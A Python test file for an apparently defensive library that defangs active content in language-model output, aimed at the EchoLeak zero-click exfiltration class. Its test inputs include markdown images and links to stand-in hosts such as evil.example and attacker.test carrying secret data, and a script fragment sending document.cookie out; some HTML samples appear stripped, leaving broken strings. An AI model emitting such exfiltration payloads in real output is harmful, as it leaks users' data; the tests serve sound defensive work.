"""Tests for active-content neutralization (build order step 6). ``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the EchoLeak class (CVE-2025-32711): active content in persisted model output that a downstream renderer auto-fetches (markdown images) or makes clickable, leaking data zero-click. These carriers are neither injection strings nor high-entropy, so lexicon + entropy miss them entirely. Invariants mirror the sanitizer: clean output returns byte-identical with an empty report; only active-content constructs are ever rewritten. Mutation lives here, kept separate from the report-only output gate (design principles 3 & 4). The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals. """ from llm_ingestion_guard.neutralize import neutralize from llm_ingestion_guard.report import Severity, Source def test_clean_output_is_byte_identical(): text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)." result = neutralize(text) assert result.text == text assert result.report.found is False def test_default_source_is_output(): # Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT. result = neutralize("![x](https://evil.example/leak)") assert result.report.found is True assert all(f.source is Source.OUTPUT for f in result.report.findings) def test_markdown_image_is_defanged_high_severity(): # The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data. result = neutralize("![logo](https://evil.example/leak?data=SECRET)") assert "https://evil.example" not in result.text # fetchable URL is gone assert "hxxps" in result.text assert "logo" in result.text # alt text preserved for audit img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"] assert len(img) == 1 assert img[0].severity is Severity.HIGH assert img[0].detector == "neutralize" assert img[0].owasp == "LLM05" def test_defanged_url_is_not_resolvable(): result = neutralize("![x](https://evil.example/x)") # Scheme neutralized and host dots bracketed -> no renderer will resolve it. assert "hxxps://evil[.]example" in result.text def test_secret_exfil_url_no_longer_fetchable(): exfil = "STOLEN-SESSION-DATA" result = neutralize(f"![ ](http://attacker.test/c?k={exfil})") # The secret text may remain visible, but never inside a fetchable URL. assert "http://attacker.test" not in result.text assert "hxxp://attacker[.]test" in result.text def test_inline_link_is_defanged_medium(): result = neutralize("click [here](https://evil.example/go) now") assert "https://evil.example" not in result.text assert "here" in result.text link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"] assert len(link) == 1 assert link[0].severity is Severity.MEDIUM def test_image_is_not_double_counted_as_link(): result = neutralize("![alt](https://evil.example/x)") labels = {f.label for f in result.report.findings} assert "neutralize:markdown-image" in labels assert "neutralize:markdown-link" not in labels def test_reference_style_link_definition_is_defanged(): text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak" result = neutralize(text) assert "https://evil.example" not in result.text assert any(f.label == "neutralize:reference-link" for f in result.report.findings) def test_angle_bracket_autolink_is_defanged(): result = neutralize("read more here") assert "https://evil.example" not in result.text assert "hxxps://evil[.]example" in result.text assert any(f.label == "neutralize:autolink" for f in result.report.findings) def test_raw_active_html_is_escaped(): result = neutralize('') assert "fetch('https://evil.example/'+document.cookie)") assert "